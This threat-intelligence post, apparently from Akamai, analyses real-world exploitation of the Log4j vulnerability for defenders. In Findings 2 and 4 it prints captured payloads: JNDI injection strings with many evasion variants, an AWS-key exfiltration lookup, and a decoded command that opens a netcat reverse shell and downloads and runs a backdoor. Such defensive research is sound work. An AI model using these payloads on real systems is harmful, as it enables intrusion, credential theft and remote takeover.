Threat Intelligence on Log4j CVE: Key Findings and Their Implications
Continuing with our research into CVE-2021-44228, Akamai has previously written about what the vulnerability is and given recommendations on how to go beyond patching for extra protection. Across the Akamai network, we see traffic from 1.3 billion unique devices daily, with record traffic of 182 Tbps. The threat research team has been investigating this traffic to gain deeper insights into how this vulnerability is being exploited. We want to share more technical findings and what they mean for threat hunters. Here are some implications for defenders and threat hunters to consider:
- Expect this vulnerability to have a long attack tail. We anticipate that due to how widely used this software is and the large number of exploit variations, we will continue to see exploit attempts for months to come and expect many breaches will get uncovered going forward. We continue to recommend urgent patching to mitigate future attack attempts.
- Attackers used opportunistic injections and became more targeted. As with the exploit mutations, the attackers went after every injection spot they could. And while they started with obvious opportunistic spots like the user agent, attackers quickly began to go after organization-specific parameters. Such intelligence is highly useful for web defenders in adapting quickly to the evolving threat landscape
- Consequences of the reconnaissance may not be fully understood for months. The vast majority of the observed activity was reconnaissance/testing, compared to a relatively smaller percentage of actual attacks. And while the attacks can be mitigated by patching and other methods, it’s unclear how many breaches have happened during this period. It will take time for the breaches to come to light and for us to understand their magnitude.
Now let’s look into the detailed findings.
Finding 1: A mild start, then a global tsunami of malicious activity
It took a bit for the exploitation attempts targeting our customers to ramp up, but once they did they were launched in massive, successive waves. It also would correlate with the other findings, that as attackers discovered more attack vectors, exploit variations, and the volume of malicious activity increased drastically.
As with other 0-days, adversaries were very quick to adopt this exploit and expand their arsenal of attacks. From our data we can tell that ~57% of the attacking infrastructure sending log4j exploits was already known to Akamai from previous attacks — essentially, the tsunami came from existing malicious actors being opportunistic as much as it did from new attackers.
The wave of attacks was also global. Most of the attacks were initially originating from the United States, Singapore, Germany, and Brazil, but the geographies were highly distributed. We also observed some of the attacks coming from servers hosted by popular cloud providers like AWS and DigitalOcean.
We have noticed that the geographies of the attacking IPs are always moving. On December 15, it showed that Canada, Russian Federation, surprisingly Luxembourg, and the United Kingdom were the countries having the rogue machines that had been sending the most of the log4j attacks.
Commerce dominated industry verticals, dwarfing a large cross industry cohort. Over 50% of Akamai application security customers saw exploitation attempts in a single hour.
The United States was targeted more than 5x the nearest destination country (United Kingdom), and again there was a large group of countries with similar target attempts.
Finding 2: Unprecedented exploit mutations
Besides the enormous impact of this vulnerability, we have noticed unprecedented evolution of exploit variants.
While the initial attack vector suggested in the proof-of-concept exploit was:
${jndi:ldap://malicious_server_address/}
Other straightforward evasion techniques, such as URL-encoded payloads, emerged immediately:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
Within hours, attackers started trying other JNDI registry service providers such as “rmi” and “dns” to evade detections specifically looking for “ldap,” which were suggested as:
${jndi:rmi:// and ${jndi:dns://
The existing documentation of the Log4j 2 lookups helps understand the attack surface and the potential for evasions. Attackers and researchers were trying to use any one of the lookup directives in order to craft an obfuscated attack variant that would not include “jndi” in it — a string assumed most of the defenders are searching for in their detection rules.
As log4j is case insensitive, the most trivial character transformation lookup directives were used at first — “lower” and “upper”:
${${lower:j}ndi: and ${${upper:j}ndi:
While any string length could be fed to the lookup function, not just a single character, and it will work:
${${lower:jnd}i:
Quite immediately, adversaries discovered that it is possible to define a user variable and set it with a default value using a “-” sign, which will result in returning this default value after the definition. This provides another trick to obfuscate the “jndi” and “ldap” strings:
${${x:-j}ndi:
Apparently, the log4j framework does not even require providing a name to a variable, while exploit variants began including those “empty” variable names, and also variables with multiple depth:
${${:-j}ndi: and ${${::::::-j}ndi:
Some variants started using other user directives like “env” to define new environmental variables, and “date,” which surprisingly does not enforce any date format :
${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
More advanced variants, which came in the next few days after the massive exploitation launched, included also an “empty” string evasion. Attackers were looking for a lookup method and an expression, which when evaluated might result in an “empty” string, meaning this expression could be injected between any character like:
${:-}
More advanced variants of the “empty” string were relying on system-specific settings and injecting stuff like:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
And many more variants including double url encoded, unicode, and expressions without the closing “}” bracket we have seen attackers had been trying as well.
It is important to note that attackers were trying different nonworking attack variants, like:
$jndi:ldap://
Finding 3: Multiple injection places, moving from opportunistic to targeted
In our research, we found the attackers injected the exploit payload in multiple places. The most common place where the exploit was injected is the Query String arguments, User-Agent header, as in the original proof-of-concept exploit, and the request path, with an assumption that web servers and applications will be logging “access” information, such as method, request path, and user-agent.
In most of the attacks, the injection was in different dummy query parameters such as “x”, “test” and “foo”. Other query parameters like “url”, “nextUrl”, “_csrfToken”, “_endcoding” and “openid.retrun_to” were used, trying to guesstimate that those parameters have high chances to be logged.
Every header imaginable was a target for injection, including Cookie, Referer, X-Forwarded-For, and Connection.
Many of the attackers were sending requests injecting the exploit in multiple places of the same request.
Finding 4: Payload analysis shows use of blind reconnaissance, dropping malware and post exploitation tools
Most of the threat actors are applying the “blind” reconnaissance technique utilizing the most popular online services for detection of external services interaction. For certain vulnerabilities, the attacker is not able to get a direct response from the targeted service to confirm a vulnerability. In such cases, the technique to test whether the website is vulnerable will be trying to execute code to contact an external server under attackers’ control listening for such connections. If the attacker’s server receives a “beacon” from a certain server, that means that this server has successfully executed the attacker’s code. Instead of setting up and maintaining such a server, most of the attackers were using the most popular online setups exactly for that.
The most popular services used in the log4j attack were “ineract.sh”, “burpcollaborator.net” and “canarytokens.com”, however many more domain names were used in the attack. Many of those domains were hosting a deployment of the open-source “Ineractsh” out-of-band interaction server.
Figure:”canarytokens.com” service to detect out-of-bound interaction which was used in log4j attack
On top of the blind reconnaissance beacon, many of the attackers were already trying to exfiltrate useful data like machine hostname, environment data like java:os, java:vm, env:user — even extracting AWS keys to facilitate taking over the AWS account.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Other payloads are including direct command execution using base64 encoded payload:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
Which translates to:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Attackers are opening a reverse shell to their C2 server, downloading a spearhead bash script, executing it and sending a “DNS” beacon to the “burpcollaborator.net” to confirm the server is vulnerable.
Reverse tunnel services such as “ngrok.io” were used as well to hide attackers’ identities:
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
While the executed command was to download a backdoor:
wget 8.tcp.ngrok.io:14639
The advantage of those tunnel services is that the attackers do not need to host their malware on their own publicly facing server, which could be shut down or seized by authorities. In that case, an attacker is hosting malware and the command and control panel on their own machine, and could hide behind a legitimate tunneling service, while this service will “proxy” C2 traffic from the victim’s machine to the attacker’s machine.
Besides threat actors who deploy cryptominers and DDoS bots, we have found certain aggressive attackers performing a huge volume of scans, targeting Windows machines. Attackers were trying to deploy the notorious “netcat” backdoor a known Windows privilege escalation tool, which is commonly used for subsequent lateral movement or gaining privileges to encrypt the disk with ransomware.
One of the attackers’ server hosting a netcat and WinPEAS attack tools
Of the overall attacks we have observed to date, only a small percentage appear to be related to ransomware.
Stay tuned for more
While we’ve uncovered some significant data insights, we’re not finished. Akamai’s threat intelligence, security research, and incident response teams continue to monitor and protect our infrastructure and our customers, leveraging this visibility and intelligence.
